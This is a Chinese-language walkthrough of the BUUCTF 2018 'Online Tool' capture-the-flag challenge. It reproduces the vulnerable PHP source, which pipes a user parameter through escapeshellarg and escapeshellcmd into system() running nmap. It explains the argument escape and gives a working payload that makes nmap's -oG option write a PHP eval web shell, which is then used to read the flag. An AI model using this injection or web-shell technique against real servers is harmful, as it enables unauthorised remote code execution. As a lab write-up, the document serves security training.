[BUUCTF 2018]Online Tool


 

知識點

  • 參數逃逸
  • nmap寫文件

源代碼如下

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

 

REMOTE_ADDR和HTTP_X_FORWARDED_FOR是服務器獲取ip用的,此處無用。
escapeshellarg()和escapeshellcmd()函數連用會存在參數逃逸,參照
http://www.lmxspace.com/2018/07/16/談談escapeshellarg參數繞過和注入的問題/
在這里插入圖片描述
再看

echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

 


此處使用system函數,應該可以進行命令執行,nmap參數中 -oG可以進行文件寫入,此處我們寫入一句話木馬,最后payload為

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

 

得到
在這里插入圖片描述
hack.php文件應該是上傳到這個文件夾中了,使用菜刀連接即可在根目錄處找到flag

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM